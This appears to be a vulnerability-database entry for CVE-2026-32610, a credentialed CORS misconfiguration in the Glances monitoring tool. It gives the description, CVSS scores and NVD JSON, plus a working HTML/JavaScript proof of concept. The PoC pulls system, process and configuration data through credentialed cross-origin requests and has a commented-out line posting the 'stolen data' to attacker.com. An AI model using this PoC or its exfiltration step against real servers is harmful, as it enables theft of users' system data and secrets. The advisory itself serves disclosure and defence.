Security Vulnerability Report
中文
CVE-2026-32610 CVSS 8.1 HIGH

CVE-2026-32610

Published: 2026-03-18 17:16:07
Last Modified: 2026-03-21 00:16:56

Description

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=["*"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette's `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:* - VULNERABLE
Glances < 4.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-32610: Glances CORS Misconfiguration --> <!DOCTYPE html> <html> <head> <title>CVE-2026-32610 PoC</title> </head> <body> <h1>CVE-2026-32610 - Glances CORS Data Theft PoC</h1> <p>Target Glances Server: <input type="text" id="target" value="http://localhost:61208" size="50"></p> <button onclick="exploit()">Exploit</button> <pre id="output"></pre> <script> async function exploit() { const target = document.getElementById('target').value; const endpoints = [ '/api/4/system', // System info '/api/4/cpu', // CPU info '/api/4/mem', // Memory info '/api/4/processlist', // Process list '/api/4/all', // All data '/api/4/pluginslist' // Plugin list ]; let results = '=== Stolen Data ===\n'; for (const endpoint of endpoints) { try { // This request will succeed due to CORS misconfiguration // The browser will include credentials (cookies) const response = await fetch(target + endpoint, { method: 'GET', credentials: 'include', // Include cookies/credentials mode: 'cors' // CORS mode }); if (response.ok) { const data = await response.json(); results += `\n[${endpoint}]\n` + JSON.stringify(data, null, 2) + '\n'; } } catch (err) { results += `\n[${endpoint}] Error: ${err.message}\n`; } } document.getElementById('output').textContent = results; // Send stolen data to attacker server // fetch('https://attacker.com/collect', { // method: 'POST', // body: JSON.stringify({ data: results, timestamp: Date.now() }) // }); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32610", "sourceIdentifier": "[email protected]", "published": "2026-03-18T17:16:06.947", "lastModified": "2026-03-21T00:16:56.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette's `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue."}, {"lang": "es", "value": "Glances es una herramienta de monitorización de sistemas multiplataforma de código abierto. Antes de la versión 4.5.2, el servidor web de la API REST de Glances se distribuye con una configuración CORS predeterminada que establece `allow_origins=[\"*\"]` combinado con `allow_credentials=True`. Cuando ambas opciones están habilitadas juntas, el `CORSMiddleware` de Starlette refleja el valor del encabezado `Origin` de la solicitud en el encabezado de respuesta `Access-Control-Allow-Origin` en lugar de devolver el comodín literal `*`. Esto otorga efectivamente a cualquier sitio web la capacidad de realizar solicitudes API de origen cruzado con credenciales al servidor de Glances, lo que permite el robo de datos entre sitios de información de monitorización del sistema, secretos de configuración y argumentos de línea de comandos de cualquier usuario que tenga una sesión de navegador activa con una instancia de Glances. La versión 4.5.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.2", "matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59"}]}]}], "references": [{"url": "https://github.com/nicolargo/glances/commit/4465169b71d93991f1e49740fe02428291099832", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}